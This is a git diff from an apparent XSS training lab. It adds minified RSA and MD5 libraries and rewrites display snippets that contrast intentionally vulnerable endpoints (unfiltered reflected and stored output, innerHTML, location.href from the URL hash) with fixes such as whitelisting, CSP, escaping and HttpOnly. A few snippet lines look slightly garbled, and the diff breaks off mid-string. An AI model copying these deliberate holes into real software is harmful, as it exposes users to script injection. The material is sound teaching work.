}, e + }(X); + const nt = function () { + function t(t) { + t = t || {}, this.default_key_size = t.default_key_size ? parseInt(t.default_key_size, 10) : 1024, this.default_public_exponent = t.default_public_exponent || "010001", this.log = t.log || !1, this.key = null + } + + return t.prototype.setKey = function (t) { + this.log && this.key && console.warn("A key was already set, overriding existing."), this.key = new rt(t) + }, t.prototype.setPrivateKey = function (t) { + this.setKey(t) + }, t.prototype.setPublicKey = function (t) { + this.setKey(t) + }, t.prototype.decrypt = function (t) { + try { + return this.getKey().decrypt(p(t)) + } catch (t) { + return !1 + } + }, t.prototype.encrypt = function (t) { + try { + return l(this.getKey().encrypt(t)) + } catch (t) { + return !1 + } + }, t.prototype.sign = function (t, e, i) { + try { + return l(this.getKey().sign(t, e, i)) + } catch (t) { + return !1 + } + }, t.prototype.verify = function (t, e, i) { + try { + return this.getKey().verify(t, p(e), i) + } catch (t) { + return !1 + } + }, t.prototype.getKey = function (t) { + if (!this.key) { + if (this.key = new rt, t && "[object Function]" === {}.toString.call(t)) return void this.key.generateAsync(this.default_key_size, this.default_public_exponent, t); + this.key.generate(this.default_key_size, this.default_public_exponent) + } + return this.key + }, t.prototype.getPrivateKey = function () { + return this.getKey().getPrivateKey() + }, t.prototype.getPrivateKeyB64 = function () { + return this.getKey().getPrivateBaseKeyB64() + }, t.prototype.getPublicKey = function () { + return this.getKey().getPublicKey() + }, t.prototype.getPublicKeyB64 = function () { + return this.getKey().getPublicBaseKeyB64() + }, t.version = "3.0.0-rc.2", t + }() + } + }, e = {}; + + function i(r) { + if (e[r]) return e[r].exports; + var n = e[r] = {exports: {}}; + return t[r](n, n.exports, i), n.exports + } + + return i.d = (t, e) => { + for (var r in e) i.o(e, r) && !i.o(t, r) && Object.defineProperty(t, r, {enumerable: !0, get: e[r]}) + }, i.o = (t, e) => Object.prototype.hasOwnProperty.call(t, e), i(771) + })().default +})); \ No newline at end of file diff --git a/src/main/resources/static/js/lay-config.js b/src/main/resources/static/js/lay-config.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/common/common.js b/src/main/resources/static/js/lay-module/common/common.js old mode 100644 new mode 100755 index 7fab1e5..79dae95 --- a/src/main/resources/static/js/lay-module/common/common.js +++ b/src/main/resources/static/js/lay-module/common/common.js @@ -54,7 +54,7 @@ layui.define(['form','table'], function (exports) { //提示:模块也可以 submitPostReq, formListenFun: function (layFilter, type, path, resultId, reqType) { form.on(`submit(${layFilter})`, function (data) { - var value = data.field.content; + var value = data.field.payload; // 定义白名单正则表达式 var whitelistRegex = /^[a-zA-Z0-9_\s]+$/; diff --git a/src/main/resources/static/js/lay-module/echarts/echarts.js b/src/main/resources/static/js/lay-module/echarts/echarts.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/echarts/echartsTheme.js b/src/main/resources/static/js/lay-module/echarts/echartsTheme.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/iconPicker/iconPickerFa.js b/src/main/resources/static/js/lay-module/iconPicker/iconPickerFa.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layarea/layarea.js b/src/main/resources/static/js/lay-module/layarea/layarea.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniAdmin.js b/src/main/resources/static/js/lay-module/layuimini/miniAdmin.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniMenu.js b/src/main/resources/static/js/lay-module/layuimini/miniMenu.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTab.js b/src/main/resources/static/js/lay-module/layuimini/miniTab.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTheme.js b/src/main/resources/static/js/lay-module/layuimini/miniTheme.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTongji.js b/src/main/resources/static/js/lay-module/layuimini/miniTongji.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/step-lay/step.css b/src/main/resources/static/js/lay-module/step-lay/step.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/step-lay/step.js b/src/main/resources/static/js/lay-module/step-lay/step.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/tableSelect/tableSelect.js b/src/main/resources/static/js/lay-module/tableSelect/tableSelect.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/treetable-lay/treetable.css b/src/main/resources/static/js/lay-module/treetable-lay/treetable.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/treetable-lay/treetable.js b/src/main/resources/static/js/lay-module/treetable-lay/treetable.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/fonts/w-e-icon.woff b/src/main/resources/static/js/lay-module/wangEditor/fonts/w-e-icon.woff old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.css b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.js b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.css b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js.map b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js.map old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/md5.min.js b/src/main/resources/static/js/md5.min.js new file mode 100755 index 0000000..b74f9e7 --- /dev/null +++ b/src/main/resources/static/js/md5.min.js @@ -0,0 +1,109 @@ +/** + * [js-md5]{@link https://github.com/emn178/js-md5} + * + * @namespace md5 + * @version 0.7.3 + * @author Chen, Yi-Cyuan [emn178@gmail.com] + * @copyright Chen, Yi-Cyuan 2014-2017 + * @license MIT + */ +!function () { + "use strict"; + + function t(t) { + if (t) d[0] = d[16] = d[1] = d[2] = d[3] = d[4] = d[5] = d[6] = d[7] = d[8] = d[9] = d[10] = d[11] = d[12] = d[13] = d[14] = d[15] = 0, this.blocks = d, this.buffer8 = l; else if (a) { + var r = new ArrayBuffer(68); + this.buffer8 = new Uint8Array(r), this.blocks = new Uint32Array(r) + } else this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + this.h0 = this.h1 = this.h2 = this.h3 = this.start = this.bytes = this.hBytes = 0, this.finalized = this.hashed = !1, this.first = !0 + } + + var r = "input is invalid type", e = "object" == typeof window, i = e ? window : {}; + i.JS_MD5_NO_WINDOW && (e = !1); + var s = !e && "object" == typeof self, + h = !i.JS_MD5_NO_NODE_JS && "object" == typeof process && process.versions && process.versions.node; + h ? i = global : s && (i = self); + var f = !i.JS_MD5_NO_COMMON_JS && "object" == typeof module && module.exports, + o = "function" == typeof define && define.amd, + a = !i.JS_MD5_NO_ARRAY_BUFFER && "undefined" != typeof ArrayBuffer, n = "0123456789abcdef".split(""), + u = [128, 32768, 8388608, -2147483648], y = [0, 8, 16, 24], + c = ["hex", "array", "digest", "buffer", "arrayBuffer", "base64"], + p = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), d = [], l; + if (a) { + var A = new ArrayBuffer(68); + l = new Uint8Array(A), d = new Uint32Array(A) + } + !i.JS_MD5_NO_NODE_JS && Array.isArray || (Array.isArray = function (t) { + return "[object Array]" === Object.prototype.toString.call(t) + }), !a || !i.JS_MD5_NO_ARRAY_BUFFER_IS_VIEW && ArrayBuffer.isView || (ArrayBuffer.isView = function (t) { + return "object" == typeof t && t.buffer && t.buffer.constructor === ArrayBuffer + }); + var b = function (r) { + return function (e) { + return new t(!0).update(e)[r]() + } + }, v = function () { + var r = b("hex"); + h && (r = w(r)), r.create = function () { + return new t + }, r.update = function (t) { + return r.create().update(t) + }; + for (var e = 0; e < c.length; ++e) { + var i = c[e]; + r[i] = b(i) + } + return r + }, w = function (t) { + var e = eval("require('crypto')"), i = eval("require('buffer').Buffer"), s = function (s) { + if ("string" == typeof s) return e.createHash("md5").update(s, "utf8").digest("hex"); + if (null === s || void 0 === s) throw r; + return s.constructor === ArrayBuffer && (s = new Uint8Array(s)), Array.isArray(s) || ArrayBuffer.isView(s) || s.constructor === i ? e.createHash("md5").update(new i(s)).digest("hex") : t(s) + }; + return s + }; + t.prototype.update = function (t) { + if (!this.finalized) { + var e, i = typeof t; + if ("string" !== i) { + if ("object" !== i) throw r; + if (null === t) throw r; + if (a && t.constructor === ArrayBuffer) t = new Uint8Array(t); else if (!(Array.isArray(t) || a && ArrayBuffer.isView(t))) throw r; + e = !0 + } + for (var s, h, f = 0, o = t.length, n = this.blocks, u = this.buffer8; f < o;) { + if (this.hashed && (this.hashed = !1, n[0] = n[16], n[16] = n[1] = n[2] = n[3] = n[4] = n[5] = n[6] = n[7] = n[8] = n[9] = n[10] = n[11] = n[12] = n[13] = n[14] = n[15] = 0), e) if (a) for (h = this.start; f < o && h < 64; ++f) u[h++] = t[f]; else for (h = this.start; f < o && h < 64; ++f) n[h >> 2] |= t[f] << y[3 & h++]; else if (a) for (h = this.start; f < o && h < 64; ++f) (s = t.charCodeAt(f)) < 128 ? u[h++] = s : s < 2048 ? (u[h++] = 192 | s >> 6, u[h++] = 128 | 63 & s) : s < 55296 || s >= 57344 ? (u[h++] = 224 | s >> 12, u[h++] = 128 | s >> 6 & 63, u[h++] = 128 | 63 & s) : (s = 65536 + ((1023 & s) << 10 | 1023 & t.charCodeAt(++f)), u[h++] = 240 | s >> 18, u[h++] = 128 | s >> 12 & 63, u[h++] = 128 | s >> 6 & 63, u[h++] = 128 | 63 & s); else for (h = this.start; f < o && h < 64; ++f) (s = t.charCodeAt(f)) < 128 ? n[h >> 2] |= s << y[3 & h++] : s < 2048 ? (n[h >> 2] |= (192 | s >> 6) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]) : s < 55296 || s >= 57344 ? (n[h >> 2] |= (224 | s >> 12) << y[3 & h++], n[h >> 2] |= (128 | s >> 6 & 63) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]) : (s = 65536 + ((1023 & s) << 10 | 1023 & t.charCodeAt(++f)), n[h >> 2] |= (240 | s >> 18) << y[3 & h++], n[h >> 2] |= (128 | s >> 12 & 63) << y[3 & h++], n[h >> 2] |= (128 | s >> 6 & 63) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]); + this.lastByteIndex = h, this.bytes += h - this.start, h >= 64 ? (this.start = h - 64, this.hash(), this.hashed = !0) : this.start = h + } + return this.bytes > 4294967295 && (this.hBytes += this.bytes / 4294967296 << 0, this.bytes = this.bytes % 4294967296), this + } + }, t.prototype.finalize = function () { + if (!this.finalized) { + this.finalized = !0; + var t = this.blocks, r = this.lastByteIndex; + t[r >> 2] |= u[3 & r], r >= 56 && (this.hashed || this.hash(), t[0] = t[16], t[16] = t[1] = t[2] = t[3] = t[4] = t[5] = t[6] = t[7] = t[8] = t[9] = t[10] = t[11] = t[12] = t[13] = t[14] = t[15] = 0), t[14] = this.bytes << 3, t[15] = this.hBytes << 3 | this.bytes >>> 29, this.hash() + } + }, t.prototype.hash = function () { + var t, r, e, i, s, h, f = this.blocks; + this.first ? r = ((r = ((t = ((t = f[0] - 680876937) << 7 | t >>> 25) - 271733879 << 0) ^ (e = ((e = (-271733879 ^ (i = ((i = (-1732584194 ^ 2004318071 & t) + f[1] - 117830708) << 12 | i >>> 20) + t << 0) & (-271733879 ^ t)) + f[2] - 1126478375) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[3] - 1316259209) << 22 | r >>> 10) + e << 0 : (t = this.h0, r = this.h1, e = this.h2, r = ((r += ((t = ((t += ((i = this.h3) ^ r & (e ^ i)) + f[0] - 680876936) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[1] - 389564586) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[2] + 606105819) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[3] - 1044525330) << 22 | r >>> 10) + e << 0), r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[4] - 176418897) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[5] + 1200080426) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[6] - 1473231341) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[7] - 45705983) << 22 | r >>> 10) + e << 0, r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[8] + 1770035416) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[9] - 1958414417) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[10] - 42063) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[11] - 1990404162) << 22 | r >>> 10) + e << 0, r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[12] + 1804603682) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[13] - 40341101) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[14] - 1502002290) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[15] + 1236535329) << 22 | r >>> 10) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[1] - 165796510) << 5 | t >>> 27) + r << 0) ^ r)) + f[6] - 1069501632) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[11] + 643717713) << 14 | e >>> 18) + i << 0) ^ i)) + f[0] - 373897302) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[5] - 701558691) << 5 | t >>> 27) + r << 0) ^ r)) + f[10] + 38016083) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[15] - 660478335) << 14 | e >>> 18) + i << 0) ^ i)) + f[4] - 405537848) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[9] + 568446438) << 5 | t >>> 27) + r << 0) ^ r)) + f[14] - 1019803690) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[3] - 187363961) << 14 | e >>> 18) + i << 0) ^ i)) + f[8] + 1163531501) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[13] - 1444681467) << 5 | t >>> 27) + r << 0) ^ r)) + f[2] - 51403784) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[7] + 1735328473) << 14 | e >>> 18) + i << 0) ^ i)) + f[12] - 1926607734) << 20 | r >>> 12) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[5] - 378558) << 4 | t >>> 28) + r << 0)) + f[8] - 2022574463) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[11] + 1839030562) << 16 | e >>> 16) + i << 0)) + f[14] - 35309556) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[1] - 1530992060) << 4 | t >>> 28) + r << 0)) + f[4] + 1272893353) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[7] - 155497632) << 16 | e >>> 16) + i << 0)) + f[10] - 1094730640) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[13] + 681279174) << 4 | t >>> 28) + r << 0)) + f[0] - 358537222) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[3] - 722521979) << 16 | e >>> 16) + i << 0)) + f[6] + 76029189) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[9] - 640364487) << 4 | t >>> 28) + r << 0)) + f[12] - 421815835) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[15] + 530742520) << 16 | e >>> 16) + i << 0)) + f[2] - 995338651) << 23 | r >>> 9) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[0] - 198630844) << 6 | t >>> 26) + r << 0) | ~e)) + f[7] + 1126891415) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[14] - 1416354905) << 15 | e >>> 17) + i << 0) | ~t)) + f[5] - 57434055) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[12] + 1700485571) << 6 | t >>> 26) + r << 0) | ~e)) + f[3] - 1894986606) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[10] - 1051523) << 15 | e >>> 17) + i << 0) | ~t)) + f[1] - 2054922799) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[8] + 1873313359) << 6 | t >>> 26) + r << 0) | ~e)) + f[15] - 30611744) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[6] - 1560198380) << 15 | e >>> 17) + i << 0) | ~t)) + f[13] + 1309151649) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[4] - 145523070) << 6 | t >>> 26) + r << 0) | ~e)) + f[11] - 1120210379) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[2] + 718787259) << 15 | e >>> 17) + i << 0) | ~t)) + f[9] - 343485551) << 21 | r >>> 11) + e << 0, this.first ? (this.h0 = t + 1732584193 << 0, this.h1 = r - 271733879 << 0, this.h2 = e - 1732584194 << 0, this.h3 = i + 271733878 << 0, this.first = !1) : (this.h0 = this.h0 + t << 0, this.h1 = this.h1 + r << 0, this.h2 = this.h2 + e << 0, this.h3 = this.h3 + i << 0) + }, t.prototype.hex = function () { + this.finalize(); + var t = this.h0, r = this.h1, e = this.h2, i = this.h3; + return n[t >> 4 & 15] + n[15 & t] + n[t >> 12 & 15] + n[t >> 8 & 15] + n[t >> 20 & 15] + n[t >> 16 & 15] + n[t >> 28 & 15] + n[t >> 24 & 15] + n[r >> 4 & 15] + n[15 & r] + n[r >> 12 & 15] + n[r >> 8 & 15] + n[r >> 20 & 15] + n[r >> 16 & 15] + n[r >> 28 & 15] + n[r >> 24 & 15] + n[e >> 4 & 15] + n[15 & e] + n[e >> 12 & 15] + n[e >> 8 & 15] + n[e >> 20 & 15] + n[e >> 16 & 15] + n[e >> 28 & 15] + n[e >> 24 & 15] + n[i >> 4 & 15] + n[15 & i] + n[i >> 12 & 15] + n[i >> 8 & 15] + n[i >> 20 & 15] + n[i >> 16 & 15] + n[i >> 28 & 15] + n[i >> 24 & 15] + }, t.prototype.toString = t.prototype.hex, t.prototype.digest = function () { + this.finalize(); + var t = this.h0, r = this.h1, e = this.h2, i = this.h3; + return [255 & t, t >> 8 & 255, t >> 16 & 255, t >> 24 & 255, 255 & r, r >> 8 & 255, r >> 16 & 255, r >> 24 & 255, 255 & e, e >> 8 & 255, e >> 16 & 255, e >> 24 & 255, 255 & i, i >> 8 & 255, i >> 16 & 255, i >> 24 & 255] + }, t.prototype.array = t.prototype.digest, t.prototype.arrayBuffer = function () { + this.finalize(); + var t = new ArrayBuffer(16), r = new Uint32Array(t); + return r[0] = this.h0, r[1] = this.h1, r[2] = this.h2, r[3] = this.h3, t + }, t.prototype.buffer = t.prototype.arrayBuffer, t.prototype.base64 = function () { + for (var t, r, e, i = "", s = this.array(), h = 0; h < 15;) t = s[h++], r = s[h++], e = s[h++], i += p[t >>> 2] + p[63 & (t << 4 | r >>> 4)] + p[63 & (r << 2 | e >>> 6)] + p[63 & e]; + return t = s[h], i += p[t >>> 2] + p[t << 4 & 63] + "==" + }; + var _ = v(); + f ? module.exports = _ : (i.md5 = _, o && define(function () { + return _ + })) +}(); \ No newline at end of file diff --git a/src/main/resources/static/js/sec-tip.js b/src/main/resources/static/js/sec-tip.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/staticcode.js b/src/main/resources/static/js/staticcode.js old mode 100644 new mode 100755 index 9a33892..ee96d45 --- a/src/main/resources/static/js/staticcode.js +++ b/src/main/resources/static/js/staticcode.js @@ -4,10 +4,9 @@ * @email: whgojp@foxmail.com * @Date: 2024/5/19 19:03 */ -const vul1ReflectRaw = "// 原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果\n" + - "@RequestMapping(\"/vul1ReflectRaw\") // 可接收各种请求类型\n" + - "public R vul1ReflectRaw(@ApiParam(name = \"type\", value = \"请求参数\", required = true) @RequestParam String content) {\n" + - " return R.ok(content);\n" + +const vul1ReflectRaw = "// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果\n" + + "public R vul1(String payload) {\n" + + " return R.ok(payload);\n" + "}\n" + "// R 是对返回结果的封装工具util\n" + "// 返回结果:\n" + @@ -17,22 +16,20 @@ const vul1ReflectRaw = "// 原生漏洞环境,未加任何过滤,Controller接 "// }\n" + "// payload在json中是不会触发xss的 需要解析到页面中\n" + "\n" + - "// 原生漏洞环境,未加任何过滤,Controller接口返回String类型结果\n" + - "@GetMapping(\"/vul1ReflectRawString\")\n" + - "public String vul1ReflectRawString(@ApiParam(name = \"type\", value = \"请求参数\", required = true) @RequestParam String content) {\n" + - " return content;\n" + + "// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果\n" + + "public String vul2(String payload) {\n" + + " return payload;\n" + "}" const vul2ReflectContentType = "// Tomcat内置HttpServletResponse,Content-Type导致反射XSS\n" + - "@GetMapping(\"/vul2ReflectContentType\")\n" + - "public void vul2ReflectContentType(@ApiParam(name = \"type\", value = \"类型\", required = true) @RequestParam String type, @ApiParam(name = \"content\", value = \"请求参数\", required = true) @RequestParam String content, HttpServletResponse response) {\n" + + "public void vul3(String type,String payload, HttpServletResponse response) {\n" + " switch (type) {\n" + " case \"html\":\n" + - " response.getWriter().print(content);\n" + + " response.getWriter().print(payload);\n" + " response.setContentType(\"text/html;charset=utf-8\");\n" + " response.getWriter().flush();\n" + " break;\n" + " case \"plain\":\n" + - " response.getWriter().print(content);\n" + + " response.getWriter().print(payload);\n" + " response.setContentType(\"text/plain;charset=utf-8\");\n" + " response.getWriter().flush();\n" + " ...\n" + @@ -54,9 +51,9 @@ const safe1CheckUserInput = "// 对用户输入的数据进行验证和过滤, "private static final String WHITELIST_REGEX = \"^[a-zA-Z0-9_\\\\s]+$\";\n" + "private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);\n" + "\n" + - "Matcher matcher = pattern.matcher(content);\n" + + "Matcher matcher = pattern.matcher(payload);\n" + "if (matcher.matches()){\n" + - " return R.ok(content);\n" + + " return R.ok(payload);\n" + "}else return R.error(\"输入内容包含非法字符,请检查输入\");" const safe2CSP = "// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行\n" + "// 前端Meta配置\n" + @@ -64,44 +61,41 @@ const safe2CSP = "// 内容安全策略(Content Security Policy)是一种由 "\n" + "\n" + "// 后端Header配置\n" + - "@RequestMapping(\"/safe2CSP\")\n" + - "public String safe2CSP(@ApiParam(name = \"content\", value = \"请求参数\", required = true) @RequestParam String content,HttpServletResponse response) {\n" + + "public String safe2(String payload,HttpServletResponse response) {\n" + " response.setHeader(\"Content-Security-Policy\",\"default-src self\");\n" + - " return content;\n" + + " return payload;\n" + "}" const safe3EntityEscape = '// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程\n' + '// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞\n' + - '@RequestMapping("/safe3EntityEscape")\n' + - 'public R safe3EntityEscape(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) {\n' + + 'public R safe3(@ApiParam(String type, String payload) {\n' + ' String filterContented = "";\n' + ' switch (type){\n' + ' case "manual":\n' + - ' content = StringUtils.replace(content, "&", "&");\n' + - ' content = StringUtils.replace(content, "<", "<");\n' + - ' content = StringUtils.replace(content, ">", ">");\n' + - ' content = StringUtils.replace(content, "\\"", """);\n' + - ' content = StringUtils.replace(content, "\'", "'");\n' + - ' content = StringUtils.replace(content, "/", "/");\n' + - ' filterContented = content;\n' + + ' payload = StringUtils.replace(payload, "&", "&");\n' + + ' payload = StringUtils.replace(payload, "<", "<");\n' + + ' payload = StringUtils.replace(payload, ">", ">");\n' + + ' payload = StringUtils.replace(payload, "\\"", """);\n' + + ' payload = StringUtils.replace(payload, "\'", "'");\n' + + ' payload = StringUtils.replace(payload, "/", "/");\n' + + ' filterContented = payload;\n' + ' break;\n' + ' case "spring":\n' + - ' filterContented = HtmlUtils.htmlEscape(content);\n' + + ' filterContented = HtmlUtils.htmlEscape(payload);\n' + ' break;\n' + ' ...\n' + ' }\n' + '}' -const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险。\n" + +const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险\n" + "// 单个接口配置\n" + - "@RequestMapping(value = \"/safe4HttpOnly\", method = RequestMethod.GET)\n" + - "public R safe4HttpOnly(@ApiParam(name = \"content\", value = \"请求参数\", required = true) String content, HttpServletRequest request,HttpServletResponse response) {\n" + + "public R safe4(String payload, HttpServletRequest request,HttpServletResponse response) {\n" + " Cookie cookie = request.getCookies()[ueditor];\n" + " cookie.setHttpOnly(true); // 设置为 HttpOnly\n" + " cookie.setMaxAge(600); // 这里设置生效时间为十分钟\n" + " cookie.setPath(\"/\");\n" + " response.addCookie(cookie);\n" + - " return R.ok(content);\n" + + " return R.ok(payload);\n" + "}\n" + "\n" + "// 全局配置\n" + @@ -124,12 +118,11 @@ const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用 " ...\n" + "}" -const vul1StoreRaw = "// 原生漏洞环境,未加任何过滤,将用户输入存储到数据库中\n" + +const vul1StoreRaw = "// 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中\n" + "// Controller层\n" + - "@RequestMapping(\"/vul1StoreRaw\")\n" + - "public R vul1StoreRaw(@ApiParam(name = \"content\", value = \"请求参数\", required = true) @RequestParam String content,HttpServletRequest request) {\n" + + "public R vul(String payload,HttpServletRequest request) {\n" + " String ua = request.getHeader(\"User-Agent\");\n" + - " final int code = xssService.insertOne(content,ua);\n" + + " final int code = xssService.insertOne(payload,ua);\n" + " ...\n" + "}\n" + "// Service层\n" + @@ -170,37 +163,60 @@ const safe1StoreEntityEscape = "// 表格数据渲染\n" + "// 方法三、jQuery的text()方法\n" + "$('#element').text(htmlContent);\n" -const vul1DomRaw = "// innerHTML\n" + +const vul1DomRaw = "// 1. innerHTML XSS\n" + "form.on('submit(vul1-dom-raw)', function (data) {\n" + " var userInput = document.getElementById('vul1-dom-raw-input').value;\n" + " var outputDiv = document.getElementById('vul-dom-raw-result');\n" + - " outputDiv.innerHTML = userInput;\n" + + " outputDiv.innerHTML = userInput; // 漏洞点:直接使用innerHTML插入用户输入\n" + " return false;\n" + "});\n" + "\n" + - "// href跳转场景\n" + + "// 2. LocalStorage XSS\n" + + "form.on('submit(vul3-dom-raw-submit)', function (data) {\n" + + " localStorage.setItem('vul4-dom-raw', document.getElementById('vul4-dom-raw-input').value);\n" + + " var storedData = localStorage.getItem('vul4-dom-raw');\n" + + " document.getElementById('vul-dom-raw-result').innerHTML = storedData; // 漏洞点:从存储读取后直接插入\n" + + " return false;\n" + + "});\n" + + "\n" + + "// 3. href跳转XSS\n" + "var hash = location.hash;\n" + "if(hash){\n" + - " var url = hash.substring(ueditor);\n" + + " var url = hash.substring(1); // 去掉#号\n" + " console.log(url);\n" + - " location.href = url;\n" + + " location.href = url; // 漏洞点:直接使用hash部分作为跳转URL\n" + "}\n" + "\n" + - "// DOM存储注入\n" + - "form.on('submit(vul3-dom-raw-submit)', function (data) {\n" + - " localStorage.setItem('vul4-dom-raw', document.getElementById('vul4-dom-raw-input').value);\n" + - " var storedData = localStorage.getItem('vul4-dom-raw');\n" + - " document.getElementById('vul-dom-raw-result').innerHTML = storedData;\n" + + "// 4. Location对象XSS\n" + + "form.on('submit(location-xss)', function(data) {\n" + + " var payload = data.field.locationPayload;\n" + + " window.location = payload; // 漏洞点:直接使用用户输入修改location\n" + " return false;\n" + - "})" - -const vul1OtherUpload = "@RequestMapping(\"/vul1Upload\")\n" + - "public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {\n" + + "});\n" + "\n" + - " String uploadFolderPath = 